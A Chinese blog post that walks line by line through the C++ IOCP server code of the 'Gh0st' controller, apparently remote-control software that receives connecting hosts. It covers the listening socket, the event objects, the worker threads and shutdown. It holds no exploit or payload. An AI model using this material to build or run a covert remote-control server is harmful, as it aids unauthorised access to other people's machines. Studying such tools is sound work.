精华内容
下载资源
问答
  • 通信协议解析

    2020-06-05 10:17:24
    通信协议解析异或校验程序如下方法1:方法2:异或校验小工具—或者计算机计算也行将一个数写成两个字节将一个数写成四个字节将四个字节合成一个数将两个字节合成一个数 异或校验 程序如下 方法1: 头文件mainwindow....

    异或校验

    程序如下

    方法1:

    头文件mainwindow.h

    static uchar CRC_8(QByteArray crcData, int beginIndex, int crcDataLen);//异或校验,此处数据类型是byte,非void
    

    mainwindow.cpp

    /***************************对数据单元进行异或校验*****************************************/
    uchar MainWindow::CRC_8(QByteArray crcData, int beginIndex, int crcDataLen)
    {
        uchar crc8=0;
        int endIndex=23+crcDataLen;
        for(int i=beginIndex;i<endIndex;i++)
        {
            crc8^=crcData[i];
        }
        return crc8;
    }
    

    方法2:

     static byte CRC_8(QByteArray crcData, int beginIndex, int crcDataLen);//异或校验,此处数据类型是byte,非void
    
    功能:异或校验
    参数:
    	crcData:存放校验字节缓冲区,类型unsigned char
    	beginIndex:校验的起始序号
    	crcDataLen:校验的长度,单位字节
    
    	public static byte CRC_8(byte []crcData, int beginIndex, int crcDataLen)
    	{
    	    byte crc8=0;
    	    int i;
    	    int endIndex = beginIndex + crcDataLen;
    	    for(i = beginIndex; i <  endIndex; i++)
    	    {
    	        crc8 ^= crcData[i];
    	    }
    	    return crc8;
    	} 
    

    实际运用中发现uchar方法1更可靠,方法2有时会出错

    异或校验小工具—或者计算机计算也行

    在这里插入图片描述
    链接: 在线网页版异或校验小工具.

    将一个数写成两个字节

    QByteArray cmd;
    //21-22数据单元长度
        int length=7;
        cmd[21]=(length & 0xFF00)>>8;
        cmd[22]=(length & 0xFF);
    

    将一个数写成四个字节

    //车辆当前纬度
        int Latitude=ui->WeiDuLineEdit->text().toDouble()*1000000;
        qDebug()<<"纬度"<<Latitude;
    //    int Latitude=36737700;
        vehicleInforLogin[45]=(Latitude & 0xFF000000)>>24;
        vehicleInforLogin[46]=(Latitude & 0xFF0000)>>16;
        vehicleInforLogin[47]=(Latitude & 0xFF00)>>8;
        vehicleInforLogin[48]=(Latitude & 0xFF);
    

    将四个字节合成一个数

    //分别获取A点的经纬度
        int AJ=ui->LuJingAJingDu->text().toDouble()*1000000;
        int AW=ui->LuJingAWeiDU->text().toDouble()*1000000;
        //A经度,以度为单位的经度水平值乘以10e6,精确到百万分值一
        cmd[29]=(AJ & 0xFF000000)>>24;
        cmd[30]=(AJ & 0xFF0000)>>16;
        cmd[31]=(AJ & 0xFF00)>>8;
        cmd[32]=(AJ & 0xFF);
        //A纬度
        cmd[33]=(AW & 0xFF000000)>>24;
        cmd[34]=(AW & 0xFF0000)>>16;
        cmd[35]=(AW & 0xFF00)>>8;
        cmd[36]=(AW & 0xFF);
    

    将两个字节合成一个数

    //路径间隔
        QString LujingJianGe=ui->L_Distance->text();
        cmd[45]=(ui->L_Distance->text().toLong()*100 & 0xFF00)>>8;
        cmd[46]=(ui->L_Distance->text().toLong()*100 & 0xFF);
    
    展开全文
  • PS2手柄 通信 协议解析..............................................................................................................................
  • 电机控制器通信协议解析,通过ECU发送数据后的运行状态 来解析数据的意义
  • BACnet_IP通信协议解析

    2014-05-13 21:22:37
    BACnet_IP通信协议解析(常用的控制协议)
  • ROS串口通信协议解析

    2020-08-12 11:27:04
    ROSserial 串口通信协议解析 1. 总览 ROS-serial是用于包装标准ROS序列化消息并在外部设备(例如串行端口或网络套接字)上多路复用多个主题和服务的协议。 2. 局限性 这里定义了发布主题消息的最大大小,发布者/订阅...

    ROSserial 串口通信协议解析

    1. 总览

    ROS-serial是用于包装标准ROS序列化消息并在外部设备(例如串行端口或网络套接字)上多路复用多个主题和服务的协议。

    2. 局限性

    这里定义了发布主题消息的最大大小,发布者/订阅者的最大数量
    对于rosserial_client,默认情况下,发布者和订阅者的数量限制为25,序列化和反序列化缓冲区的大小限制为512字节。

    但是,这些数目和大小对于SRAM有限的微控制器来说太大了。rosserial_arduino的缓冲区大小和发布者/订阅者的数量现在取决于所使用的芯片:

    AVR模型 输出缓冲区大小 发布者/订阅者
    ATMEGA168 150/150字节 6/6
    ATMEGA328P 280/280字节 25/25
    其他 512/512字节 25/25

    您可以更改这些数字和大小

    typedef NodeHandle_<HardwareType, MAX_PUBLISHERS, MAX_SUBSCRIBERS, IN_BUFFER_SIZE, OUT_BUFFER_SIZE> NodeHandle;
    

    但是,您应该注意不要消耗Arduino中有限的SRAM。如果Arduino的SRAM用完了,它只会挂起而没有调试信息。

    大于缓冲区大小的消息不会发送。ROS错误消息将被中继,告知该消息是来自设备还是来自设备。

    2.1 Float64

    Arduino不支持64位浮点数据类型。由make_library生成的序列化/反序列化代码将自动将64位浮点数转换为32位数据类型,但是,应注意,可能会导致精度损失!

    2.3 String

    为了节省宝贵的AVR内存,字符串不存储在消息实例内部,而是存储未签名的char *。这有两个影响:

    发布时,必须在其他位置分配存储字符串数据并设置指针:

     std_msgs::string str_msg; 
     unsigned char Hello [13] = "Hello world!" ; 
     str_msg.data = Hello;
    

    订阅包含字符串数据类型的消息时,不会从反序列化缓冲区中复制字符串本身。因此,尽管它在回调函数中有效,但在反序列化任何其他消息时它将消失。如果需要将字符串的值保留在回调之外,则必须手动将字符串复制到其他位置。

    2.4 数组

    数组与字符串具有相似的限制,但是,由于没有简单的方法来查找数组的终止(类似于在字符串末尾找到\ 0),因此我们需要指定数组的大小。一个额外的变量被添加到类定义中以完成此操作。例如,geometry_msgs / PoseArray声明为:

    Header header
    geometry_msgs/Pose[] poses
    

    在Arduino上,这将转换为一个类

    class PoseArray
    {
      Header header;
      int poses_length;
      Pose * poses;
    }
    

    因此,要发送数组消息,我们必须设置长度和指针。反序列化时,我们不能像字符串一样就地反序列化(因为消息的字节实际上是打包的,与以纯格式传递的字符串不同)。因此,反序列化功能将使用realloc()自动分配足够的存储空间,并在可能的情况下尝试重用内存位置,并且仅在收到的新消息大于先前的最大消息时才对其进行扩展。

    某些包含其他数组类型的数组类型将无法正确反序列化,因为子类型的所有元素都将指向同一内存。将来可能会解决此限制。

    3. 协议

    ROS-serial协议通过串口通信实现节点对节点通信。我们使用与标准ROS消息相同的序列化/反序列化,只需添加数据包头和尾即可,这使多个主题可以共享一个公共串行链接。这里描述了数据包头和包尾的详细协议信息,以及一些用于同步的特殊主题。

    串口通信协议采用小端模式,低位在前高位在后。

    3.1 封包格式:

    byte 长度 说明
    1 1 起始位
    2 1 协议版本
    3 2 消息长度(len)
    5 1 消息长度校验和
    6 2 主题ID
    8 len 串口消息数据
    len + 1 1 主题ID和数据校验和
    展开全文
  • 物联网通信协议解析

    2020-08-15 13:07:04
    物联网通信协议解析前言物理层、数据链路层协议网络层、传输协议应用层协议部分通信协议比较 前言 随着物联网设备数量的持续增加,这些设备之间的通信或连接已成为一个重要的思考课题。通信对物联网来说十分常用且...

    前言

    随着物联网设备数量的持续增加,这些设备之间的通信或连接已成为一个重要的思考课题。通信对物联网来说十分常用且关键,无论是近距离无线传输技术还是移动通信技术,都影响着物联网的发展。而在通信中,通信协议尤其重要,是双方实体完成通信或服务所必须遵循的规则和约定。

    本文介绍了几个可用的物联网通信协议,它们具有不同的性能、数据速率、覆盖范围、功率和内存,而且每一种协议都有各自的优点和或多或少的缺点。其中一些通信协议只适合小型家用电器,而其他一些通信协议则可以用于大型智慧城市项目。物联网通信协议分为两大类:
    一类是接入协议:一般负责子网内设备间的组网及通信
    一类是通讯协议:主要是运行在传统互联网TCP/IP协议之上的设备通讯协议,负责设备通过互联网进行数据交换及通信。

    物理层、数据链路层协议

    1、远距离蜂窝通信
    (1)2G/3G/4G通信协议,分别指第二、三、四代移动通信系统协议。

    (2)NB-IoT
    窄带物联网(Narrow Band Internet of Things, NB-IoT)成为万物互联网络的一个重要分支。NB-IoT构建于蜂窝网络,只消耗大约180kHz的带宽,可直接部署于GSM网络、UMTS网络或LTE网络,以降低部署成本、实现平滑升级。NB-IoT聚焦于低功耗广覆盖(LPWA)物联网(IoT)市场,是一种可在全球范围内广泛应用的新兴技术。具有覆盖广、连接多、速率快、成本低、功耗低、架构优等特点。

    应用场景:NB-IoT网络带来的场景应用包括智能停车、智能消防、智能水务、智能路灯、共享单车和智能家电等。

    (3)5G
    第五代移动通信技术,是最新一代蜂窝移动通信技术。5G的性能目标是高数据速率、减少延迟、节省能源、降低成本、提高系统容量和大规模设备连接。

    应用场景:AR/VR、车联网、智能制造、智慧能源、无线医疗、无线家庭娱乐、联网无人机、超高清/全景直播、个人AI辅助、智慧城市。

    2、远距离非蜂窝通信
    (1)WiFi
    由于前几年家用WiFi路由器以及智能手机的迅速普及,WiFi协议在智能家居领域也得到了广泛应用。WiFi协议最大的优势是可以直接接入互联网。相对于ZigBee,采用Wifi协议的智能家居方案省去了额外的网关,相对于蓝牙协议,省去了对手机等移动终端的依赖。

    商用WiFi在城市公共交通、商场等公共场所的覆盖,将商用WiFi的场景应用潜力表露无疑。

    (2)ZigBee
    ZigBee是一种低速短距离传输的无线通信协议,是一种高可靠的无线数传网络,主要特色有低速、低耗电、低成本、支持大量网上节点、支持多种网上拓扑、低复杂度、快速、可靠、安全。ZigBee技术是一种新型技术,它最近出现,主要是依靠无线网络进行传输,它能够近距离的进行无线连接,属于无线网络通讯技术。

    ZigBee技术的先天性优势,使得它在物联网行业逐渐成为一个主流技术,在工业、农业、智能 家居等领域得到大规模的应用。

    (3)LoRa
    LoRa™(LongRange,远距离)是一种调制技术,与同类技术相比,提供更远的通信距离。LoRa 网关、烟感、水监测、红外探测、定位、排插等广泛应用物联网产品。作为一种窄带无线技术,LoRa 是使用到达时间差来实现地理定位的。LoRa 定位的应用场景:智慧城市和交通监控、计量和物流、农业定位监控。

    3、近距离通信
    (1)RFID
    射频识别(RFID)是 Radio Frequency Identification 的缩写。其原理为阅读器与标签之间进行非接触式的数据通信,达到识别目标的目的。RFID 的应用非常广泛,典型应用有动物晶片、汽车晶片防盗器、门禁管制、停车场管制、生产线自动化、物料管理。完整的RFID系统由读写器(Reader)、电子标签(Tag)和数据管理系统三部分组成。

    (2)NFC
    NFC的中文全称为近场通信技术。NFC是在非接触式射频识别(RFID)技术的基础上,结合无线互连技术研发而成,它为我们日常生活中越来越普及的各种电子产品提供了一种十分安全快捷的通信方式。NFC中文名称中的“近场”是指临近电磁场的无线电波。

    应用场景:应用在门禁、考勤、访客、会议签到、巡更等领域。NFC具有人机交互、机器间交互等功能。

    (3)Bluetooth
    蓝牙技术是一种无线数据和语音通信开放的全球规范,它是基于低成本的近距离无线连接,为固定和移动设备建立通信环境的一种特殊的近距离无线技术连接。

    蓝牙能在包括移动电话、PDA、无线耳机、笔记本电脑、相关外设等众多设备之间进行无线信息交换。利用“蓝牙”技术,能够有效地简化移动通信终端设备之间的通信,也能够成功地简化设备与因特网Internet之间的通信,从而数据传输变得更加迅速高效,为无线通信拓宽道路。

    4、有线通信
    (1)USB
    USB,是英文Universal Serial Bus(通用串行总线)的缩写,是一个外部总线标准,用于规范电脑与外部设备的连接和通讯。是应用在PC领域的接口技术。

    (2)串口通信协议
    串口通信协议是指规定了数据包的内容,内容包含了起始位、主体数据、校验位及停止位,双方需要约定一致的数据包格式才能正常收发数据的有关规范。在串口通信中,常用的协议包括RS-232、RS-422和RS-485。

    串口通信是指外设和计算机间,通过数据线按位进行传输数据的一种通讯方式。这种通信方式使用的数据线少,在远距离通信中可以节约通信成本,但其传输速度比并行传输低。大多数计算机(不包括笔记本)都包含两个RS-232串口。串口通信也是仪表仪器设备常用的通信协议。

    (3)以太网
    以太网是一种计算机局域网技术。IEEE组织的IEEE 802.3标准制定了以太网的技术标准,它规定了包括物理层的连线、电子信号和介质访问层协议的内容。

    (4)MBus
    MBus 远程抄表系统(symphonic mbus),是欧洲标准的2线的二总线, 主要用于消耗测量仪器诸如热表和水表系列。

    网络层、传输协议

    1、IPv 4
    互联网通信协议第四版,是网际协议开发过程中的第四个修订版本,也是此协议第一个被广泛部署的版本。IPv4是互联网的核心,也是使用最广泛的网际协议版本

    2、IPv6
    互联网协议第6版,由于IPv4最大的问题在于网络地址资源有限,严重制约了互联网的应用和发展。IPv6的使用,不仅能解决网络地址资源数量的问题,而且也解决了多种接入设备连入互联网的障碍

    3、TCP
    传输控制协议(TCP,Transmission Control Protocol)是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP旨在适应支持多网络应用的分层协议层次结构。连接到不同但互连的计算机通信网络的主计算机中的成对进程之间依靠TCP提供可靠的通信服务。TCP假设它可以从较低级别的协议获得简单的,可能不可靠的数据报服务。

    4、6LoWPAN
    6LoWPAN是一种基于IPv6的低速无线个域网标准,即IPv6 over IEEE 802.15.4。

    应用层协议

    1、MQTT协议
    MQTT (Message Queue Telemetry Transport),翻译成中文就是,遥测传输协议,其主要提供了订阅/发布两种消息模式,更为简约、轻量,易于使用,特别适合于受限环境(带宽低、网络延迟高、网络通信不稳定)的消息分发,属于物联网(Internet of Thing)的一个标准传输协议。

    在很多情况下,包括受限的环境中,如:机器与机器(M2M)通信和物联网(IoT)。其在,通过卫星链路通信传感器、偶尔拨号的医疗设备、智能家居、及一些小型化设备中已广泛使用。

    2、CoAP协议
    CoAP(Constrained Application Protocol)是一种在物联网世界的类Web协议,适用于需要通过标准互联网网络进行远程控制或监控的小型低功率传感器,开关,阀门和类似的组件,服务器对不支持的类型可以不响应

    3、REST/HTTP协议
    RESTful是一种基于资源的软件架构风格。所谓资源,就是网络上的一个实体,或者说是网络上的一个具体信息。一张图片、一首歌曲都是一个资源。RESTful API是基于HTTP协议的一种实现。(HTTP是一个应用层的协议,特点是简捷 快速)。

    满足Rest规范的应用程序或设计就是RESTful,根据Rest规范设计的API,就叫做RESTful API

    4、DDS协议
    DDS(Data Distribution Service)分布式实时数据分发服务中间件协议,它是分布式实时网络里的“TCP/IP”,用来解决实时网络中的网络协议互联,其作用相当于“总线上的总线”。

    5、AMQP协议
    AMQP,即Advanced Message Queuing Protocol,一个提供统一消息服务的应用层标准高级消息队列协议,是应用层协议的一个开放标准,为面向消息的中间件设计。基于此协议的客户端与消息中间件可传递消息,并不受客户端/中间件不同产品,不同的开发语言等条件的限制。Erlang中的实现有RabbitMQ等。

    6、XMPP协议
    XMPP是一种基于标准通用标记语言的子集XML的协议,它继承了在XML环境中灵活的发展性。因此,基于XMPP的应用具有超强的可扩展性。经过扩展以后的XMPP可以通过发送扩展的信息来处理用户的需求,以及在XMPP的顶端建立如内容发布系统和基于地址的服务等应用程序。

    部分通信协议比较

    1、NB-IoT协议和LoRa协议比较
    第一,频段。LoRa工作在1GHz以下的非授权频段,在应用时不需要额外付费,NB-IoT和蜂窝通信使用1GHz以下的频段是2113授权的,是需要收费的。

    第二,电池供电寿命。LoRa模块在处理干扰、网络5261重迭、可伸缩性等方面具有独特的特性,但却不能提供像蜂窝协议一样的服务质量4102。NB-IoT出于对服务质量的考虑,不能提供类似LoRa一样的电池寿命。

    第三,设备成本。对终端节点来说,LoRa协议比NB-IoT更简单,更容易开发并且1653对于微处理器的适用和兼容性更好。同时低成本、技术相对成熟的LoRa模块已经可以在市场上找到了,并且还会有升级版本陆续出来。

    第四,网络覆盖和部署时间表。NB-IoT标准在2016年公布,除回网络部署之外,相应的商业化和产业链的建立还需要更长的时间和努力去探索。LoRa的整个产业链相对已经较为成熟了,产品也处于“蓄势待答发”的状态,同时全球很多国家正在进行或者已经完成了全国性的网络部署。

    2、蓝牙、WiFi、ZigBee协议比较
    目前来说,WiFi的优势是应用广泛,已经普及到千家万户;ZigBee的优势是低功耗和自组网;UWB无载波无线通信技术的优势是传输速率;蓝牙的优势组网简单。然而,这3种技术,也都有各自的不足,没有一种技术能完全满足智能家居的全部要求。

    蓝牙技术的出现使得短距离无线通信成为可能,但其协议较复杂、功耗高、成本高等特点不太适用于要求低成本、低功耗的工业控制和家庭网络。尤其蓝牙最大的障碍在于传输范围受限,一般有效的范围在10米左右,抗干扰能力不强、信息安全问题等问题也是制约其进一步发展和大规模应用的主要因素。

    WiFi也是是一种短距离无线传输技术,可以随时接入无线信号,移动性强,比较适合在办公室及家庭的环境下应用。当然WiFi也存在一个致命缺点。由于WiFi采用的是射频技术,通过空气发送和接收数据,使用无线电波传输数据信号,比较容易受到外界的干扰。

    ZigBee则是国际通行的无线通讯技术,它的每个网络端口可以最多接入6.5万多个端口,适合家居、工业、农业等多个领域使用,而蓝牙和WiFi网端只能接入10个端口,显然不能适应家庭需要。ZigBee还具有低功耗和低成本优势。

    3、MQTT协议和CoAP协议比较
    MQTT是多对多通讯协议用于在不同客户端之间通过中间代理传送消息,解耦生产者与消费者,通过使得客户端发布,让代理决定路由并且拷贝消息。虽然MQTT支持一些持久化,最好还是作为实时数据通讯总线。

    CoAP主要是一个点对点协议,用于在客户端与服务器之间传输状态信息。虽然支持观察资源,CoAP最好适合状态传输模型,不是完全基于事件。

    MQTT客户端建立长连接TCP,这通常表示没有问题,CoAP客户端与服务器都发送与接收UDP数据包,在NAT环境中,隧道或者端口转发可以用于允许CoAP,或者像LWM2M,设备也许会先初始化前端连接。

    MQTT不提供支持消息打类型标记或者其他元数据帮助客户端理解,MQTT消息可用于任何目的,但是所有的客户端必须知道向上的数据格式以允许通讯,CoAP,相反地,提供内置支持内容协商与发现,允许设备相互探测以找到交换数据的方式。

    两种协议各有优缺点,选择合适的取决于自己的应用。

    展开全文
  • 模拟通信协议仿真软件,支持104、101、CDT、modbus等各类协议,绿色免安装,解压即可使用
  • Gh0st通信协议解析

    2017-05-17 17:12:15
    Gh0st通信协议解析 ******************************************************************************* 从主控端初始化IOCP服务器开始讲起 [cpp]view plaincopyprint?   1 // 启动IOCP服务器  2 int ...

     

    Gh0st通信协议解析

    *******************************************************************************

    从主控端初始化IOCP服务器开始讲起

    [cpp]view plaincopyprint?

     

    1        // 启动IOCP服务器 

    2        int nPort = m_IniFile.GetInt("Settings","ListenPort"); 

    3        int nMaxConnection = m_IniFile.GetInt("Settings","MaxConnection"); 

    4        if (nPort == 0) 

    5            nPort = 80; 

    6        if (nMaxConnection == 0) 

    7            nMaxConnection = 10000; 

    8          

    9        if (m_IniFile.GetInt("Settings", "MaxConnectionAuto")) 

    10          nMaxConnection = 8000; 

    11        

    12      ((CMainFrame*) m_pMainWnd)->Activate(nPort,nMaxConnection); 

     

    IOCP服务器是在CGh0stApp::InitInstance这个函数中被调用的,实际上是调用了CMainFrame的一个成员函数:CMainFrame::Active。看看这个函数都做了哪些事情。

     

    [cpp]view plaincopyprint?

     

    13      void CMainFrame::Activate(UINTnPort, UINT nMaxConnections) 

    14     

    15          CString    str; 

    16        

    17          if(m_iocpServer != NULL) 

    18          { 

    19              m_iocpServer->Shutdown(); 

    20              delete m_iocpServer; 

    21        

    22          } 

    23          m_iocpServer = new CIOCPServer; 

    24        

    25          // 开启IPCP服务器 

    26          if(m_iocpServer->Initialize(NotifyProc, this,100000, nPort)) 

    27          { 

    28        

    29              char hostname[256];  

    30              gethostname(hostname,sizeof(hostname)); 

    31              HOSTENT*host = gethostbyname(hostname); 

    32              if (host != NULL) 

    33              {  

    34                  for ( inti=0; ; i++ ) 

    35                  {  

    36                      str+= inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); 

    37                      if ( host->h_addr_list[i] + host->h_length>= host->h_name ) 

    38                          break

    39                      str+= "/"

    40                  } 

    41              } 

    42        

    43              m_wndStatusBar.SetPaneText(0,str); 

    44              str.Format("端口:%d", nPort); 

    45              m_wndStatusBar.SetPaneText(2,str); 

    46          } 

    47          else 

    48          { 

    49              str.Format("端口%d绑定失败", nPort); 

    50              m_wndStatusBar.SetPaneText(0,str); 

    51              m_wndStatusBar.SetPaneText(2,"端口: 0"); 

    52          } 

    53        

    54          m_wndStatusBar.SetPaneText(3, "连接:0"); 

    55     

     

    首先判断这个m_iocpServer全局变量是否已经指向了一个CIOCPServer,如果是的话,就要先关闭它,并且删除掉这个CIOCPServer所占的内存空间。

    到这里我有些犹豫要不要去追踪这个CIOCPServer::Shutdown函数呢,一方面,如果去追踪的话,我们将不得不深入到CIOCPServer这个类里面去抽丝剥茧,寻找Shutdown函数,以及这个函数内部所调用的一系列的函数,这样我不得不深度遍历整个调用过程。另一方面,如果追踪吧,会使得这篇文章的主线凌乱掉,如果不追踪吧,我自己会凌乱掉,思前想后,宁可让大家疯掉,也不能让我疯掉,因为我疯掉了就写不出这个分析文章了……

    好了,我们接下来看看这个CIOCPServer::Shutdown这个函数内部的一个执行逻辑。

     

    [cpp]view plaincopyprint?

     

    56      void CIOCPServer::Shutdown() 

    57     

    58          if(m_bInit == false

    59              return

    60        

    61          m_bInit = false

    62          m_bTimeToKill = true

    63        

    64          //Stop the listener 

    65          Stop(); 

    66        

    67        

    68          closesocket(m_socListen);    

    69          WSACloseEvent(m_hEvent); 

    70        

    71        

    72          CloseCompletionPort(); 

    73            

    74          DeleteCriticalSection(&m_cs); 

    75        

    76          while(!m_listFreePool.IsEmpty()) 

    77              delete m_listFreePool.RemoveTail(); 

    78        

    79     

     

    先来看看这个CIOCPServer::m_bInit这个变量。这个变量有什么作用呢,看这些个地方:

    1:在CIOCPSserver的构造函数中有这么一句:m_bInit = false;

    2:在CIOCPServer::Initialize这个函数中有这么一句:m_bInit = true;

    3:在CIOCPServer::Shutdown这个函数中有这么一句:m_bInit = false;

    4:在CIOCPServer::IsRunning这个函数中有这么一句:return m_bInit

    从以上的各个地方我们可以知道,这个m_bInit就是一个记录CIOCPServer这个服务器的运行状态的,它只有两个意思:开启或者关闭。当CIOCPServer服务器初始化完毕的时候,此值将会被设为true。在关闭的时候,此值将会被设为false,其它的时候此值作为CIOCPServer运行状态的一个考量。

    首先判断这个m_binit是否为false,如果为falseCIOCPServer本身就没有开启,还关闭个屁,如果为true的话,接下来就将其运行状态设为false

     

    然后看看CIOCPServer::m_bTimeToKill这个变量。这个变量的作用:

    1:在CIOCPSserver的构造函数中有这么一句:m_bTimeToKill =false

    2:在CIOCPServer::Shutdown这个函数中有这么一句:m_bTimeToKill = true;

    3:在核心的完成端口循环中有这么一句:

    for (BOOLbStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

    可以看出,m_bTimeToKill这个值就是一个记录是否结束掉在完成端口的所有等待线程的这么一个哨兵值,如果该值被设置为true,那么所有等待在完成端口上的线程都将结束并退出,这样,就不会再有工作线程来处理这个完成端口上的所有ReadWriteInitize的请求,在这里要明白一点:工作线程数是跟运行主控端的机子上的核心数相关的。

     

    接下来,我们程序的流程就到了CIOCPSserver::Stop这个函数里了,这个函数的一个主要的功能就是结束掉这个监听的socket,已达到后续的连接请求不再受理。我们看看在这个函数里CIOCPServer都做了哪些处理:

     

    [cpp]view plaincopyprint?

     

    80      void CIOCPServer::Stop() 

    81     

    82          ::SetEvent(m_hKillEvent); 

    83          WaitForSingleObject(m_hListenThread,INFINITE); 

    84          CloseHandle(m_hListenThread); 

    85          CloseHandle(m_hKillEvent); 

    86     

     

    首先来看看这个CIOCPServer::m_hKillEvent这个变量的用途

    1:在CIOCPServer的构造函数中有这么一句调用

      m_hKillEvent    = CreateEvent(NULL, TRUE, FALSE, NULL);在构造函数中创建了一个人工置信、初始状态为未受信的、未命名的事件对象。

    2:在CIOCPServer::ListenThreadProc这个函数中有这么一句调用

       if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

        break;

       在监听上线的线程中的无限循环中,这一句的作用就是,当m_hKillEvent受信的时候,这个无限循环结束

    3:在一个关键的地方,就是在CIOCPServer::StopSetEventm_hKillEvent)的调用。

    通过以上的分析我们可以看出,这个变量存在的意义,就是承担得起当要关闭CIOCPServer这个服务器的时候,使得监听线程结束监听这么一个功能。

     

    再来看看这个CIOCPServer::m_hThread这个变量的用途

    1:在CIOCPServer::Initialize函数中,有以下的这个调用

     

    m_hThread =

                (HANDLE)_beginthreadex(NULL,                // Security

                                         0,         // Stack size - use default

                                         ListenThreadProc//Thread fn entry point

                                         (void*) this,     

                                         0,                 // Init flag

                                         &dwThreadId);  //Thread address

     

    2:在CIOCPServer::Stop中,有WaitForSingleObject(m_hThread, INFINITE)的调用。

    从以上分析我们可以看出这个变量的用处就是作为监听线程的一个句柄而存在的,它代表了这个监听线程实体。

     

    至此,这个CIOCPServer::Stop函数我们就分析完了,回溯到CIOCPServer::Shutdown函数继续看。

    首先,我们看看CIOCPServer::m_socListen这个变量

    1:在CIOCPServer::Initialize这个函数中,被赋值为监听套接字句柄,并且被设置为仅仅对网络事件FD_ACCEPT感兴趣,然后就是绑定本机,开始监听。在这里我想提一点,这个监听套接字并没有关联到后续创建的完成端口上,关联到这个完成端口上的都是那些跟主控端建立了连接的那些套接字。在这些套接字上如果发生了什么网络事件,则由完成端口上的消息派遣函数去完成。

    关于这个完成端口的运行机理,在这里就不表了,后面会有详细的介绍,这里只提到一点,这点是关于完成端口的大体的架构问题:创建一个完成端口+设置一个专门为这个完成端口服务的N个线程,不断的去查询完成端口上是否有读、写的这些请求+多个向此完成端口上投递读取或者写入请求的操作+真正的去处理这些读、写请求的操作。以上就是一个大概的完成端口执行情况。

        int nRet = WSAEventSelect(m_socListen,

                              m_hEvent,

                              FD_ACCEPT);

    2:在CIOCPServer::ListenThreadProc这个监听线程中,有以下这么个操作

        int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                                          pThis->m_hEvent,

                                                          &events);

       从发生在m_sockListen这个套接字上的网络事件中选择一个我们自己感兴趣的网络事件进行处理,因为先前的时候,我们已经注册了在m_sockListen上感兴趣的网络事件,即FD_ACCEPT这么个网络事件。因此在这里我们只对发生在这个套接字上的这个网络事件进行处理。

    3:在CIOCPServer::OnAccept这个函数中,有以下这么个操作

      clientSocket = accept(m_socListen,

                                   (LPSOCKADDR)&SockAddr,

                                      &nLen);

       在这里就是对发生在这个套接字上的连接请求进行了一个接受连接的那么一个处理。

    通过以上的分析,我们可以得出这么个结论,这个m_socListen就是一个监听套接字句柄。

     

    接下来,我们对CIOCPServer::m_hEvent这个变量进行一个分析

    1:在CIOCPServer::Initialize这个函数中,对这个变量进行了以下这么个操作

      m_hEvent = WSACreateEvent();

       进行了一个赋值的操作,创建的是一个自动重置、非受信的一个事件对象。接下来是

       intnRet = WSAEventSelect(m_socListen,

                                               m_hEvent,

                                               FD_ACCEPT);

       将这个事件对象与m_socListen套接字相关联。当在m_socListen上发生了FD_ACCEPT这个网络事件的时候,这个对象将会被置信。

    2:在CIOCPServer::ListenThreadProc这个函数中,对这个变量有以下这么个操作

      dwRet = WSAWaitForMultipleEvents(1,

                                                            &pThis->m_hEvent,

                                                            FALSE,

                                                            100,

                                                            FALSE);

       等待这个事件对象被置信。

        int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                                     pThis->m_hEvent,

                                                     &events);

       当这个事件对象受信的时候,枚举发生在这个事件对象上的网络事件,并判断是否为期望的网络事件发生。

    3:在CIOCPServer::Shutdown这个函数中对这个变量有这个操作

        WSACloseEvent(m_hEvent);

    通过以上分析,我们可以得出这么个结论,这个m_hEvent的存在就是为了给这个监听套接字做一个事件表象,就是说所有发生在这个套接字上的事件,都是由这个事件对象来反映出来。

     

    接下来我们需要看这个函数:CIOCPServer:: CloseCompletionPort,看看在这个函数中都进行了哪些操作。

     

    [cpp]view plaincopyprint?

     

    87      void CIOCPServer::CloseCompletionPort() 

    88     

    89        

    90          while(m_nWorkerCnt) 

    91          { 

    92              PostQueuedCompletionStatus(m_hCompletionPort,0, (DWORD) NULL, NULL); 

    93              Sleep(100); 

    94          } 

    95        

    96          //Close the CompletionPort and stop any more requests 

    97          CloseHandle(m_hCompletionPort); 

    98        

    99          ClientContext* pContext =NULL; 

    100     

    101       do  

    102       { 

    103           POSITION pos  =m_listContexts.GetHeadPosition(); 

    104           if (pos) 

    105           { 

    106               pContext=m_listContexts.GetNext(pos);          

    107               RemoveStaleClient(pContext,FALSE); 

    108           } 

    109       } 

    110       while(!m_listContexts.IsEmpty()); 

    111     

    112       m_listContexts.RemoveAll(); 

    113     

    114  

     

    首先,先看看CIOCPServer::m_nWorkerCnt这个变量。

    1:在CIOCPServer::InitializeIOCP这个函数里,对这个变量有这么个操作

     

    [cpp]view plaincopyprint?

     

    115   for ( i = 0; i <nWorkerCnt; i++ )  

    116  

    117       hWorkerThread = (HANDLE)_beginthreadex( 

    118           NULL,                  // Security 

    119           0,                     // Stack size - use default 

    120           ThreadPoolFunc,            // Thread fn entry point 

    121           (void*) this,          // Param for thread 

    122           0,                     // Init flag 

    123           &nThreadID);           //Thread address 

    124         

    125         

    126       if(hWorkerThread == NULL )  

    127       { 

    128           CloseHandle(m_hCompletionPort ); 

    129           return false

    130       } 

    131         

    132       m_nWorkerCnt++; 

    133         

    134       CloseHandle(hWorkerThread); 

    135  

     

    可以看到,这个值是代表了,为完成端口服务的线程的数量。

    2:在CIOCPServer::ThreadPoolFunc函数中,对这个变量有这么个操作

      InterlockedDecrement(&pThis->m_nWorkerCnt);

       这个操作是在某个为完成端口服务的线程即将结束的时候的一个操作

    3:在CIOCPServer::CloseCompletionPort函数中,对这个变量的操作就不多少了

    通过以上的分析,我们可以得出这样一个结论:这个m_nWorkerCnt的值就是代表了为完成端口服务的线程数量,因为此值是全局变量,因此各个线程对此值的访问时共享的,必须对此值的访问进行一个同步处理—原子操作。

     

    接下来,我们重点看看这个很有意思的循环

     

     

    [cpp]view plaincopyprint?

     

    136   while(m_nWorkerCnt) 

    137     

    138  

    139     

    140          PostQueuedCompletionStatus(m_hCompletionPort,0, (DWORD) NULL, NULL); 

    141     

    142          Sleep(100); 

    143     

    144  

     

     

     

     

    为什么说这个循环有意思呢,因为这个循环的这个循环体是给每一个为这个完成端口服务的线程发送一条结束自身的指令。它是如何实现的呢?且听我慢慢的道来……

     

